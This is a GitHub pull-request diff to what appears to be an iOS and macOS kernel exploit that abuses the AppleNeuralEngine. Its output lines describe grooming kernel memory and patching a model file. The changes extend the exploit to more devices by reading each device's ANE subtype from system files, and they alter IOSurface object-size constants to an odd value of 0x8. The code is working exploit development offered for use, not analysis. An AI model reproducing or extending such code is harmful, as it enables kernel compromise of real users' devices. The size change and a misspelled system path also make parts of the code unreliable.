Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix crashes on some devices and iOS combinations. #6

Open
wants to merge 2 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file modified exploit/.DS_Store
Binary file not shown.
4 changes: 2 additions & 2 deletions exploit/exploit.h
Original file line number Diff line number Diff line change
Expand Up @@ -31,13 +31,13 @@
#if TARGET_OS_OSX

#define MAX_PROGRAMS 5
#define IOSURFACE_OBJ_SIZE 0x440
#define IOSURFACE_OBJ_SIZE 0x8
#define MAX_SHMEMS 0x2000

#else

#define MAX_PROGRAMS 5
#define IOSURFACE_OBJ_SIZE 0x430
#define IOSURFACE_OBJ_SIZE 0x8
#define MAX_SHMEMS 0x2000

#endif /* TARGET_OS_OSX */
Expand Down
46 changes: 45 additions & 1 deletion exploit/exploit.m
Original file line number Diff line number Diff line change
Expand Up @@ -12,8 +12,10 @@
* iPhone12 Pro (iPhone13,3) with iOS 15.5
* iPad Pro (iPad8,10) with iPadOS 15.5
* iPhone11 Pro (iPhone12,3) with iOS 15.4.1
* iPhone SE 2020 (iPhone 12,8) with iOS 15.2
* MacBookAir10,1 M1 with macOS 12.4


[+] Loading AppleNeuralEngine framework ...OK
[+] Patching model.hwx with custom initInfo section ... OK
[+] Stage 1: Grooming kernel memory ...
Expand Down Expand Up @@ -73,6 +75,7 @@
#include "exploit.h"



struct exploit *p = NULL;

serializer_info_t *sinfo = NULL;
Expand Down Expand Up @@ -113,6 +116,10 @@
#define _ANEClient __ANEClient
Class __ANEModel;
Class __ANEClient;
Class _ANEDeviceInfoClass;
@interface _ANEDeviceInfo : NSObject
+(NSString*) aneSubType;
@end
char *gBundle = NULL;


Expand All @@ -137,6 +144,40 @@ void hwx_init_frameworks(void)

#endif


#if !TARGET_OS_OSX
int getAneSubtype(void) {
NSBundle *appleNeuralEngineBundle = [NSBundle bundleWithPath:@"/SYstem/Library/PrivateFrameworks/AppleNeuralEngine.framework"];
[appleNeuralEngineBundle load];
/*load NeuralEngine*/

Class _ANEDeviceInfoClass = NSClassFromString(@"_ANEDeviceInfo");

NSURL* imagingNetworkURL = [NSURL fileURLWithPath:@"/System/Library/ImagingNetworks"];
/*path to .hwx – .net – .shape - _info*/

NSDirectoryEnumerator<NSURL*>* enumerator = [[NSFileManager defaultManager] enumeratorAtURL:imagingNetworkURL includingPropertiesForKeys:nil options:0 errorHandler:nil];

NSURL* file;
NSString* aneSubType = [_ANEDeviceInfoClass aneSubType].uppercaseString;
/*generate string of aneSubType*/
while(file = [enumerator nextObject]) {
if([file.pathExtension isEqualToString:@"hwx"] && [file.lastPathComponent containsString:aneSubType]){
/*find aneSubType version in mach_header*/
struct mach_header header;
FILE* f = fopen(file.fileSystemRepresentation, "r");
if(!f){continue;}
fread(&header, sizeof(struct mach_header), 1, f);
fclose(f);
return header.cpusubtype;

}
}
return -1;

}
#endif

void hwx_patch_model(void)
{
printf("[+] Patching model.hwx with custom initInfo section ... ");
Expand Down Expand Up @@ -519,9 +560,12 @@ void _hwx_patch_model(struct mach_header_64 *mh,size_t mh_size,u8 ** initInfo)
// TODO : use +[_ANEDeviceInfo aneSubType]
/* iPhone 11 pro */
/* mh->cpusubtype = 3; */

/* iPad pro 2nd generation */
/* mh->cpusubtype = 1; */
/* DONE */
#if !TARGET_OS_OSX
mh->cpusubtype = getAneSubtype();
#endif

struct load_command *lc = NULL;
FOR_EACH_COMMAND {
Expand Down